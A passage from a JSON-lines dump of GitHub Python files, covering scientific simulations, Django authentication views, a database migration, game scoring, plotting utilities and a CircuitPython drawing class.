+= [[]]\n for _ in range(n):\n res[i] += [0 if random.random() <= p else 1]\n return res\n\n\ndef percolacao(mat):\n nlin = len(mat)\n ncol = len(mat[0])\n mudou = False\n\n # Coloca pontos (2) nos espaços (0) da primeira linha\n for j in range(ncol):\n if mat[0][j] == 0:\n mat[0][j] = 2\n mudou = True\n\n while mudou:\n mudou = False\n for i in range(nlin):\n for j in range(ncol):\n if mat[i][j] == 2:\n # Verifica vizinhos do ponto\n # Acima\n if i - 1 >= 0 and mat[i - 1][j] == 0:\n mat[i - 1][j] = 2\n mudou = True\n # Abaixo\n if i + 1 < nlin and mat[i + 1][j] == 0:\n mat[i + 1][j] = 2\n mudou = True\n # Esquerda\n if j - 1 >= 0 and mat[i][j - 1] == 0:\n mat[i][j - 1] = 2\n mudou = True\n # Direita\n if j + 1 < ncol and mat[i][j + 1] == 0:\n mat[i][j + 1] = 2\n mudou = True\n\n # Imprime conteúdo de mat com @, espaços e pontos\n for i in range(nlin):\n for j in range(ncol):\n if mat[i][j] == 0:\n print(\" \", end=\"\")\n elif mat[i][j] == 1:\n print(\"@\", end=\"\")\n else:\n print(\".\", end=\"\")\n print()\n\n # Verifica se há pontos na última linha\n return 2 in mat[nlin - 1]\n\n\nmat = random_bin_mat(15, 0.5)\nprint(percolacao(mat))\n","repo_name":"hbatagelo/PI-UFABC","sub_path":"exercicios_semana9/ex9_14.py","file_name":"ex9_14.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17396976785","text":"grammar = {\n 'S': {'if E then S else S', 'if E then S'},\n 'E': {'id', 'num'}\n}\n\ndef eliminate_left_factoring(grammar):\n \"\"\"\n Eliminates left factoring from the given grammar.\n \"\"\"\n # Step 1: Find non-terminals that have common prefixes\n non_terminals = list(grammar.keys())\n for i in range(len(non_terminals)):\n A = non_terminals[i]\n productions = grammar[A]\n while True:\n # Find common prefixes in productions\n prefixes = {}\n for production in productions:\n if production[0] in prefixes:\n prefixes[production[0]].append(production)\n else:\n prefixes[production[0]] = [production]\n common_prefixes = {}\n for prefix in prefixes:\n if len(prefixes[prefix]) > 1:\n common_prefixes[prefix] = prefixes[prefix]\n if not common_prefixes:\n # No common prefixes in A's productions\n break\n # Step 2: Create new non-terminal\n new_A = A + \"'\"\n while new_A in grammar:\n new_A += \"'\"\n grammar[new_A] = {}\n # Step 3: Move productions with common prefixes to new non-terminal\n for prefix in common_prefixes:\n new_production = prefix + new_A\n grammar[A].remove(prefix + common_prefixes[prefix][0][1:])\n grammar[new_A][common_prefixes[prefix][0][1:]] = common_prefixes[prefix]\n grammar[new_A][common_prefixes[prefix][0][1:]].remove(common_prefixes[prefix][0])\n grammar[new_A][common_prefixes[prefix][0][1:]].append(new_production)\n # Step 4: Add epsilon production to new non-terminal\n grammar[new_A] = {'': ['']}\n # Step 5: Replace common prefixes with new non-terminal\n for production in grammar[A]:\n if production[0] in common_prefixes:\n grammar[A].remove(production)\n new_production = production[len(common_prefixes[production[0]][0]):] + new_A\n grammar[A][new_production[0]] = [new_production]\n grammar[A][new_production[0]].extend(common_prefixes[production[0]])\n grammar[A][new_production[0]].remove(production)\n if not grammar[A][new_production[0]]:\n del grammar[A][new_production[0]]\n productions = grammar[new_A]\n\n return grammar\n","repo_name":"aman190202/aman190202.github.io","sub_path":"assets/leftfac.py","file_name":"leftfac.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37608081961","text":"\"\"\"add Achive Variable and TimeSerias tables\n\nRevision ID: 449e9bd141b3\nRevises: 8f7e76b24e61\nCreate Date: 2020-05-09 13:07:32.227420\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '449e9bd141b3'\ndown_revision = '8f7e76b24e61'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('variable',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('unit', sa.String(length=50), nullable=True),\n sa.Column('max_value', sa.Float(), nullable=True),\n sa.Column('min_value', sa.Float(), nullable=True),\n sa.Column('model_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['model_id'], ['model.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_variable_unit'), 'variable', ['unit'], unique=False)\n op.create_table('achive',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('task_id', sa.Integer(), nullable=True),\n sa.Column('model_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['model_id'], ['model.id'], ),\n sa.ForeignKeyConstraint(['task_id'], ['task.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('timeseries',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.Column('value', sa.Float(), nullable=True),\n sa.Column('achive_id', sa.Integer(), nullable=True),\n sa.Column('variable_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['achive_id'], ['achive.id'], ),\n sa.ForeignKeyConstraint(['variable_id'], ['variable.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_timeseries_timestamp'), 'timeseries', ['timestamp'], unique=False)\n op.add_column('model', sa.Column('filename', sa.String(length=50), nullable=True))\n op.create_index(op.f('ix_model_filename'), 'model', ['filename'], unique=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_model_filename'), table_name='model')\n op.drop_column('model', 'filename')\n op.drop_index(op.f('ix_timeseries_timestamp'), table_name='timeseries')\n op.drop_table('timeseries')\n op.drop_table('achive')\n op.drop_index(op.f('ix_variable_unit'), table_name='variable')\n op.drop_table('variable')\n # ### end Alembic commands ###\n","repo_name":"ArtyomShabunin/models_server","sub_path":"models_server/models_server/migrations/versions/449e9bd141b3_add_achive_variable_and_timeserias_.py","file_name":"449e9bd141b3_add_achive_variable_and_timeserias_.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26664669626","text":"import math\n\nfrom matplotlib import rcParams\nimport matplotlib.pyplot as plt\nimport re\nimport os\n\n##显示中文\n# rcParams['font.family'] = 'sans-serif'\n# rcParams['font.sans-serif'] = 'SimSun,Times New Roman'\n\ndef load_acc_loss(filename):\n os.makedirs(filename, exist_ok=True)\n\n ##读取log文件\n logFile = filename + \".log\"\n all_list = []\n file = open(logFile)\n for line in file:\n all_list.append(line)\n file.close()\n\n train_loss = []\n train_acc = []\n val_loss = []\n val_acc = []\n variance = []\n best_acc = 0\n for i in all_list:\n if \"Train acc\" in i:\n train_acc.append(float(i.split('Train acc: ')[1].split(', train loss')[0]))\n train_loss.append(float(i.split('train loss:')[1]))\n if \"Current acc:\" in i:\n val_acc.append(float(i.split('Current acc: ')[1].split(', current loss:')[0]))\n val_loss.append(float(i.split('current loss:')[1].split(', best acc:')[0]))\n best_acc = float(i.split('best acc: ')[1])\n if \"Gradient Variance\" in i:\n epoch = int(i.split(\"Epoch\")[1].split(\" Gradient\")[0])\n var = float(i.split(\": \")[1])\n variance.append([epoch, var])\n return train_acc, val_acc, train_loss, val_loss, variance, best_acc\n\ndef draw(filename, content):\n res = load_acc_loss(filename)\n if content == \"acc\":\n plt.title(\"Accuracy\")\n plt.plot(res[0], label=\"Train_\"+filename)\n plt.plot(res[1], label=\"Test_\"+filename)\n elif content == \"loss\":\n plt.title(\"Loss\")\n plt.plot(res[2], label=\"Train_\"+filename)\n plt.plot(res[3], label=\"Test_\"+filename)\n elif content == \"variance\":\n plt.title(\"Variance\")\n plt.plot([i[0] for i in res[4]], [math.log10(i[1]) for i in res[4]], label=filename)\n elif content == \"best\":\n plt.title(\"Best Accuracy\")\n plt.xlabel('Accuracy', fontsize=14)\n plt.xlabel('Bit', fontsize=14)\n plt.xlim(-1, 10)\n plt.ylim(0, 100)\n plt.scatter(int(filename.split(\"_\")[-1].split(\"bit\")[0]), res[5], s=200)\n\ndef draw_curve(curve_name):\n draw(\"PSQ_visualize_8bit\", curve_name)\n draw(\"PSQ_visualize_4bit\", curve_name)\n draw(\"PSQ_visualize_2bit\", curve_name)\n draw(\"PSQ_visualize_1bit\", curve_name)\n\ndraw_curve(\"variance\")\nplt.legend(loc=\"best\")\nplt.show()\n\n\n\n","repo_name":"KevinWangHP/Model-Compression","sub_path":"binary-networks-pytorch-master/logs/visualize_logs.py","file_name":"visualize_logs.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70322018115","text":"try:\n from typing import Optional, List, Tuple\nexcept ImportError:\n pass\n\nimport displayio\n\n__version__ = \"0.0.0+auto.0\"\n__repo__ = \"https://github.com/adafruit/Adafruit_CircuitPython_Display_Shapes.git\"\n\n\nclass Polygon(displayio.TileGrid):\n \"\"\"A polygon.\n\n :param list points: A list of (x, y) tuples of the points\n :param int|None outline: The outline of the polygon. Can be a hex value for a color or\n ``None`` for no outline.\n :param bool close: (Optional) Wether to connect first and last point. (True)\n :param int colors: (Optional) Number of colors to use. Most polygons would use two, one for\n outline and one for fill. If you're not filling your polygon, set this to 1\n for smaller memory footprint. (2)\n \"\"\"\n\n _OUTLINE = 1\n _FILL = 2\n\n def __init__(\n self,\n points: List[Tuple[int, int]],\n *,\n outline: Optional[int] = None,\n close: Optional[bool] = True,\n colors: Optional[int] = 2,\n ) -> None:\n (x_s, y_s) = zip(*points)\n\n x_offset = min(x_s)\n y_offset = min(y_s)\n\n # Find the largest and smallest X values to figure out width for bitmap\n width = max(x_s) - min(x_s) + 1\n height = max(y_s) - min(y_s) + 1\n\n self._palette = displayio.Palette(colors + 1)\n self._palette.make_transparent(0)\n self._bitmap = displayio.Bitmap(width, height, colors + 1)\n\n shifted = [(x - x_offset, y - y_offset) for (x, y) in points]\n\n if outline is not None:\n self.outline = outline\n self.draw(self._bitmap, shifted, self._OUTLINE, close)\n\n super().__init__(\n self._bitmap, pixel_shader=self._palette, x=x_offset, y=y_offset\n )\n\n @staticmethod\n def draw(\n bitmap: displayio.Bitmap,\n points: List[Tuple[int, int]],\n color_id: int,\n close: Optional[bool] = True,\n ) -> None:\n \"\"\"Draw a polygon conecting points on provided bitmap with provided color_id\n\n :param displayio.Bitmap bitmap: bitmap to draw on\n :param list points: A list of (x, y) tuples of the points\n :param int color_id: Color to draw with\n :param bool close: (Optional) Wether to connect first and last point. (True)\n \"\"\"\n\n if close:\n points.append(points[0])\n\n for index in range(len(points) - 1):\n Polygon._line_on(bitmap, points[index], points[index + 1], color_id)\n\n # pylint: disable=too-many-arguments\n def _line(\n self,\n x_0: int,\n y_0: int,\n x_1: int,\n y_1: int,\n color: int,\n ) -> None:\n self._line_on(self._bitmap, (x_0, y_0), (x_1, y_1), color)\n\n # pylint: enable=too-many-arguments\n\n @staticmethod\n def _safe_draw(\n bitmap: displayio.Bitmap,\n point: Tuple[int, int],\n color: int,\n ) -> None:\n (x, y) = point\n if 0 <= x < bitmap.width and 0 <= y < bitmap.height:\n bitmap[x, y] = color\n\n # pylint: disable=too-many-branches, too-many-locals\n @staticmethod\n def _line_on(\n bitmap: displayio.Bitmap,\n p_0: Tuple[int, int],\n p_1: Tuple[int, int],\n color: int,\n ) -> None:\n (x_0, y_0) = p_0\n (x_1, y_1) = p_1\n\n def pt_on(x, y):\n Polygon._safe_draw(bitmap, (x, y), color)\n\n if x_0 == x_1:\n if y_0 > y_1:\n y_0, y_1 = y_1, y_0\n for _h in range(y_0, y_1 + 1):\n pt_on(x_0, _h)\n elif y_0 == y_1:\n if x_0 > x_1:\n x_0, x_1 = x_1, x_0\n for _w in range(x_0, x_1 + 1):\n pt_on(_w, y_0)\n else:\n steep = abs(y_1 - y_0) > abs(x_1 - x_0)\n if steep:\n x_0, y_0 = y_0, x_0\n x_1, y_1 = y_1, x_1\n\n if x_0 > x_1:\n x_0, x_1 = x_1, x_0\n y_0, y_1 = y_1, y_0\n\n d_x = x_1 - x_0\n d_y = abs(y_1 - y_0)\n\n err = d_x / 2\n\n if y_0 < y_1:\n ystep = 1\n else:\n ystep = -1\n\n for x in range(x_0, x_1 + 1):\n if steep:\n pt_on(y_0, x)\n else:\n pt_on(x, y_0)\n err -= d_y\n if err < 0:\n y_0 += ystep\n err += d_x\n\n # pylint: enable=too-many-branches, too-many-locals\n\n @property\n def outline(self) -> Optional[int]:\n \"\"\"The outline of the polygon. Can be a hex value for a color or\n ``None`` for no outline.\"\"\"\n return self._palette[self._OUTLINE]\n\n @outline.setter\n def outline(self, color: Optional[int]) -> None:\n if color is None:\n self._palette[self._OUTLINE] = 0\n self._palette.make_transparent(self._OUTLINE)\n else:\n self._palette[self._OUTLINE] = color\n self._palette.make_opaque(self._OUTLINE)\n","repo_name":"DJDevon3/My_Circuit_Python_Projects","sub_path":"Boards/espressif/Adafruit MatrixPortal S3/128x96 RGB Matrix/lib/adafruit_display_shapes/polygon.py","file_name":"polygon.py","file_ext":"py","file_size_in_byte":5023,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"27517596003","text":"from api.models import Employee\nimport json\nimport requests\nfrom django.conf import settings\n\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework.response import Response\n\nfrom rest_framework.views import APIView\n\nfrom rest_framework_social_oauth2.views import TokenView\nfrom authentication.models import CoreUser\nfrom api.models import Employee\nfrom authentication.serializers import (\n AuthUserModelSerializer,\n RegistrationDataValidationSerializer,\n RegistrationSerializer,\n\n)\n\n\n\n# Create your views here.\n\nclass AuthViewSet(viewsets.GenericViewSet):\n permission_classes = (IsAuthenticated,)\n queryset = Employee.objects.all()\n serializer_class = AuthUserModelSerializer\n\n \n @action(methods=['get'], detail=False)\n def user(self, request):\n \"\"\"\n User profile information\n \"\"\"\n user = request.user\n if user:\n ser = self.serializer_class(user)\n return Response({'data': ser.data}, status=status.HTTP_200_OK)\n \n else:\n return Response(\n {\n 'status': status.HTTP_404_NOT_FOUND,\n 'error': 'User not found',\n }\n )\n\n \n @action(\n methods=['post'],\n detail=False,\n permission_classes=(AllowAny,),\n serializer_class=RegistrationDataValidationSerializer,\n )\n def register(self, request):\n \"\"\"\n User registration\n \"\"\"\n ser_params = self.serializer_class(data=request.data)\n ser_params.is_valid(raise_exception=True)\n data = ser_params.validated_data\n ser = RegistrationSerializer()\n ser.save(data=data)\n return Response(\n {'data': 'Success'}, status=status.HTTP_200_OK,\n )\n\n \nclass UserToken(TokenView):\n \"\"\"\n Implements an endpoint to provide access tokens\n\n The endpoint is used in the following flows:\n\n * Authorization code\n * Password\n * Client credentials\n \"\"\"\n\n def post(self, request, *args, **kwargs):\n\n request._request.POST = request._request.POST.copy()\n for key, value in request.data.items():\n request._request.POST[key] = value\n\n url, headers, body, status = self.create_token_response(\n request._request\n )\n\n body = json.loads(body)\n print(body)\n try:\n if body['error']:\n if body['error'] == 'invalid_grant':\n if self.is_user_exist(request.data.get('username')):\n body['error_description'] = 'Invalid password.'\n else:\n body['error_description'] = 'User not found'\n status = 404\n if body['error'] == 'unsupported_grant_type':\n body['error_decription'] = 'Invalid grant type.'\n except KeyError:\n pass\n response = Response(data=body, status=status)\n\n for k, v in headers.items():\n response[k] = v\n return response\n\n def is_user_exist(self, username=None):\n if username:\n return CoreUser.objects.filter(email=username).exists()\n \n return False\n","repo_name":"180107180/worked-hour-registration","sub_path":"authentication/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24586593456","text":"#!/usr/bin/python\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sympy\n\nfrom solver.solver import Solver\n\n\ndef profile():\n x, nu, t = sympy.symbols('x nu t')\n phi = sympy.exp(-(x - 4 * t)**2 / (4 * nu * (t + 1))) + \\\n sympy.exp(-(x - 4 * t - 2 * np.pi)**2 / (4 * nu * (t + 1)))\n phiprime = phi.diff(x)\n u = -2 * nu * (phiprime / phi) + 4\n return sympy.utilities.lambdify((t, x, nu), u)\n\n# burgers equation in terms of finite differences\n\n\ndef burgers_eqn(un, dx, dt):\n nu = 0.07\n dt = dx * nu\n res = un.copy()\n\n def fff(l, c, r):\n return c - c * dt / dx * (c - l) \\\n + nu * (r - 2 * c + l) * dt / dx**2\n\n a, b, c = un[:-2], un[1:-1], un[2:]\n res[1: -1] = fff(a, b, c)\n res[0] = fff(un[-1], un[0], un[1])\n res[-1] = fff(un[-2], un[-1], un[0])\n return res\n\n\ndef main():\n for tt in range(100):\n t = 100 + 10 * tt\n solver = Solver((0, 2. * np.pi), 101, t, 0.025, (1, -1), True)\n nu = 0.07\n f = profile()\n initial = np.vectorize(lambda x: f(0, x, nu))\n final = np.vectorize(lambda x: f(t * solver.dx * nu, x, nu))\n\n solver.initial_conditions = lambda: initial(solver.argument())\n\n plt.figure(figsize=(11, 7), dpi=100)\n\n x = solver.argument()\n plt.plot(x, solver.initial_conditions(),\n marker='o', lw=2, label='Inital state')\n plt.plot(x, solver.solve(burgers_eqn),\n marker='o', lw=2, label='Computational')\n plt.plot(x, final(x), marker='o', lw=2, label='Analytical final')\n\n plt.xlim([0, 2 * np.pi])\n plt.ylim([0, 10])\n plt.legend()\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kqf/differential-equatoins","sub_path":"examples/cfd/step4.py","file_name":"step4.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24108833378","text":"from src.categories import Categories\n'''\nThis class allows a player to select the points that would get positioning the dice into the category they choose\n\nEach method is a category, so when selected, return the points that the player gets\n'''\nclass Yatzy:\n\n @staticmethod\n def chance(diceList):\n total = sum(diceList)\n return total\n\n @staticmethod\n def yatzy(diceList):\n\n valueRepeated = diceList.count(diceList[0])\n \n if valueRepeated == len(diceList):\n return 50\n else:\n return 0\n\n # @staticmethod\n # def countingNumbers(numberChosen, diceList):\n\n # numberCount = diceList.count(numberChosen)\n # total = numberChosen * numberCount\n # return total\n\n @staticmethod\n def ones(diceList):\n ONE = Categories.ONE.value\n return diceList.count(1) * ONE\n\n @staticmethod\n def twos(diceList):\n TWO = Categories.TWO.value\n return diceList.count(2) * TWO\n\n @staticmethod\n def threes(diceList):\n THREE = Categories.THREE.value\n return diceList.count(3) * THREE\n\n @staticmethod\n def fours(diceList):\n FOUR = Categories.FOUR.value\n return diceList.count(4) * FOUR\n\n @staticmethod\n def fives(diceList):\n FIVE = Categories.FIVE.value\n return diceList.count(5) * FIVE\n\n @staticmethod\n def sixs(diceList):\n SIX = Categories.SIX.value\n return diceList.count(6) * SIX\n\n @staticmethod\n def highestPair(diceList):\n\n for num in range(6,0,-1):\n\n numCount = diceList.count(num)\n if numCount >= 2:\n\n return num*2\n\n return 0\n\n @staticmethod\n def pair(diceList):\n\n for num in range(6,0,-1):\n\n numCount = diceList.count(num)\n if numCount == 2:\n\n return num*2\n\n return 0\n\n @staticmethod\n def twoPair(diceList):\n\n numPaired = 0\n total = 0\n num = 6\n\n while numPaired <= 2 and num >=1 :\n\n numCount = diceList.count(num)\n\n if numCount >= 4:\n\n total = num * 4\n return total\n\n if numCount >=2:\n\n numPaired += 1\n total += num*2\n\n num -= 1\n\n if numPaired == 2:\n\n return total\n \n else:\n return 0\n \n @staticmethod\n def threeOfAKind(diceList):\n\n for num in range(6,0,-1):\n\n numCount = diceList.count(num)\n\n if numCount >= 3:\n\n return num * 3\n\n return 0\n\n @staticmethod\n def fourOfAKind(diceList):\n\n for num in range(6,0,-1):\n\n numCount = diceList.count(num)\n\n if numCount >= 4:\n\n return num * 4\n\n return 0\n\n @staticmethod\n def smallStraight(diceList):\n\n for num in range(1,6):\n\n numCount = diceList.count(num)\n\n if numCount != 1:\n return 0\n\n return 15\n\n @staticmethod\n def largeStraight(diceList):\n\n for num in range(2,7):\n\n numCount = diceList.count(num)\n\n if numCount != 1:\n return 0\n\n return 20\n\n @staticmethod\n def fullHouse(diceList):\n\n if Yatzy.threeOfAKind(diceList) and Yatzy.pair(diceList): \n return Yatzy.threeOfAKind(diceList) + Yatzy.pair(diceList)\n \n else:\n return 0","repo_name":"ClearCB/yatzy-refactor-kata","sub_path":"src/yatzyRefactored.py","file_name":"yatzyRefactored.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20309593054","text":"\"\"\"hwk3 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url,include\nfrom django.contrib import admin\nfrom django.contrib.auth.views import login, logout\nfrom User.views import index,register,my_login,my_logout,add,list_msg,msg_index\n\nurlpatterns = [\n url(r'^user/$',index),\n url(r'^user/login/$',my_login),\n url(r'^user/logout/$',my_logout),\n url(r'^user/register/$',register),\n url(r'^message/$',msg_index),\n url(r'^message/add/$',add),\n url(r'^message/list/$',list_msg),\n url(r'^admin/', admin.site.urls),\n]\n","repo_name":"hugo50/homework3","sub_path":"hwk3/hwk3/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23584590101","text":"t = int(input())\ndef dfs(e, s, es, ds, j, v):\n t1 = t2 = None\n if j == v-1:\n return 0\n d = ds[j][j+1]\n if es[j][0] >= d:\n t1 = d/es[j][1] + dfs(es[j][0] - d, es[j][1], es, ds, j+1, v)\n if e >= d:\n t2 = d/s + dfs(e - d, s, es, ds, j+1, v)\n if t1 is None and t2 is None:\n return None\n if t1 is None:\n return t2\n if t2 is None:\n return t1\n return min(t1,t2)\n\nfor i in range(t):\n n, q = [int(x) for x in input().split(\" \")]\n es = []\n ds =[]\n for j in range(n):\n e, s = [int(x) for x in input().split(\" \")]\n es.append((e,s))\n for j in range(n):\n ds.append([int(x) for x in input().split(\" \")])\n for j in range(q):\n u, v = [int(x) for x in input().split(\" \")]\n # small\n t = dfs(0, 0, es, ds, 0, v)\n #ce = 0\n #cs = 0\n #t = 0\n #for j in range(v-1):\n # d = ds[j][j+1]\n # if es[j][0] >= d and (es[j][1] >= cs or ce < d):\n # ce = es[j][0] - d\n # cs = es[j][1]\n # else:\n # ce -= d\n # t += d/cs \n\n print(\"Case #\" + str(i+1) + \": \"+str(t))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_208/202.py","file_name":"202.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70104280834","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 11 10:42:44 2018\n\n@author: i\n\"\"\"\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndef myPlot(x, data, legend = '', columnNames = '', xlabel = '', ylabel = '', title = ''):\n #Plot\n for y in data:\n plt.plot(x, y, 'o-')\n plt.legend(legend, loc='upper left')\n plt.title(title)\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n plt.show()\n \n #Show tables\n d = {}\n for name, y in zip(columnNames, data):\n d[name] = y\n print(pd.DataFrame(data=d, index=x))\n # d = {'SS':ySS, 'IS':yIS, 'BS':yBS, 'HS':yHS, 'MS':yMS, 'CS':yCS, 'QSside':yQSside, 'QSmiddle':yQSmiddle}\n \n","repo_name":"jedlin21/Study","sub_path":"BTS/Plot.py","file_name":"Plot.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71126277635","text":"import json\nfrom datetime import datetime\nfrom typing import Any\n\nimport cv2\n\nfrom enums.Rank import Rank\nfrom enums.SmashBrosStatus import SmashBrosStatus\nfrom image.CharacterKnn import CharacterKnn\nfrom image.MaskGenerator import MaskGenerator\nfrom smashbros.SmashBrosManager import SmashBrosManager\nfrom smashbros.SmashBrosResultAnalyzer import SmashBrosResultAnalyzer\n\n\ndef mainVideoCapture():\n resultMask = cv2.imread('../resources/mask/1on1/result_mask.png', cv2.IMREAD_GRAYSCALE)\n rankMask = cv2.imread('../resources/mask/1on1/rank_mask.png', cv2.IMREAD_GRAYSCALE)\n smashBrosAnalyzer = SmashBrosResultAnalyzer(CharacterKnn('../resources/character/concat'), False, resultMask, rankMask)\n captureVideo = cv2.VideoCapture(1)\n smashBrosManager = SmashBrosManager.getInstance(SmashBrosStatus.NONE, cv2.imread('../resources/mask/go/mask.png'))\n\n while True:\n ref, frame = captureVideo.read()\n if frame is None:\n print('frame is None')\n continue\n\n # frameCopy = frame.copy()\n # result = smashBrosAnalyzer.analysisResult(frame, frameCopy)\n # isFighterNameNotNone = result.ownFighterName is not None and result.opponentFighterName is not None\n # if isFighterNameNotNone and len(result.ownFighterName) > 2 and len(result.opponentFighterName) > 2:\n smashBrosManager.analysisSmashBrosStatus(frame)\n cv2.imshow(\"SmalysisRegister\", frame)\n\n if cv2.waitKey(1) & 0xFF == ord('s'):\n print('write img')\n cv2.imwrite(f'./go_{datetime.now().microsecond}.png', frame)\n\n # qキーが押されたら途中終了\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n captureVideo.release()\n cv2.destroyAllWindows()\n\n\nclass EnumJSONEncoder(json.JSONEncoder):\n ENUMS = {\n 'Rank': Rank,\n }\n\n def default(self, o: Any) -> Any:\n if type(o) in self.ENUMS.values():\n return {'__enum__': str(o)}\n return json.JSONEncoder.default(o)\n\n\ndef main():\n gameset = cv2.imread('../../test/resources/gameset/gameset_4.png', cv2.IMREAD_COLOR)\n cv2.imwrite('./go.png', MaskGenerator.createGamesetMask(gameset))\n\n\nmain()\n","repo_name":"Piory/smalysis-register","sub_path":"result-analyzer/main/src/screen.py","file_name":"screen.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"914456392","text":"import logging\n\nimport os\n\n\ndef mylog():\n # 创建Logger\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.DEBUG)\n\n # 文件Handler\n logfile = \"../log/\" + os.path.split(__file__)[-1].split(\".\")[0]+'.log'\n fileHandler = logging.FileHandler(logfile, mode='a', encoding='UTF-8')\n fileHandler.setLevel(logging.NOTSET)\n # Formatter\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n fileHandler.setFormatter(formatter)\n # 添加到Logger中\n logger.addHandler(fileHandler)\n return logger","repo_name":"qiuzhiqing999/TSE","sub_path":"util/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24353340867","text":"\"\"\"\n @Author: Yannick Dengler\n @Date: 2023-Sep-6\n @Last Modified by: Yannick Dengler\n \n Plot Correlator and effective masses etc.\n \"\"\"\n \nimport h5py\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import bisect # should be done somewhere else in the future\nimport src_py.read_HDF5_logfile as read_HDF\nimport src_py.error_classes as err\nimport src_py.read_HDF5_logfile as HDF_log \n# print(plt.rcParams.keys())\n\ndef set_errorbar_settings():\n plt.rcParams[\"errorbar.capsize\"] = 5\n # plt.solid_capstyle = \"projecting\" # not needed!! dumb\n plt.rcParams[\"lines.linestyle\"] = \"\"\n plt.rcParams[\"lines.markersize\"] = 10\n\ndef get_mean_std_corr(Corr):\n Corr_src = np.mean(Corr, axis=1)\n return np.mean(Corr_src, axis=1), np.std(Corr_src, axis=1)\n\ndef Corr_settings():\n plt.yscale(\"log\")\n plt.grid()\n plt.xlabel(\"$n_t$\")\n plt.ylabel(\"C\")\n\ndef eff_mass_settings():\n plt.grid()\n plt.xlabel(\"$n_t$\")\n plt.ylabel(\"$m_{eff}$\")\n\n\ndef calc_eff_mass_impl_deri(Corr): \n m_eff = np.zeros(len(Corr)-3)\n def zero_eff_mass(eff_mass, ratio, index):\n return np.sinh(eff_mass*(T_2-index))/np.sinh(eff_mass*(T_2-(index+1))) - ratio\n for i in range(len(Corr)-3):\n ratio = (Corr[i]-Corr[i+2])/(Corr[i+1]-Corr[i+3])\n T_2 = (len(Corr)-2)//2\n if (T_2-i) == 0 or (T_2-(i+1)) == 0: # Only happens for sinh. For cosh both values are well-defined\n m_eff[i] = 0\n else:\n res = bisect(f=zero_eff_mass, a=1e-30, b=1000, args = (ratio,i))\n if np.isnan(res):\n m_eff[i] = 0\n else:\n m_eff[i] = bisect(f=zero_eff_mass, a=1e-30, b=1000, args = (ratio,i))\n return m_eff\n\n# def plot_Corr(filename):\n# Corr = 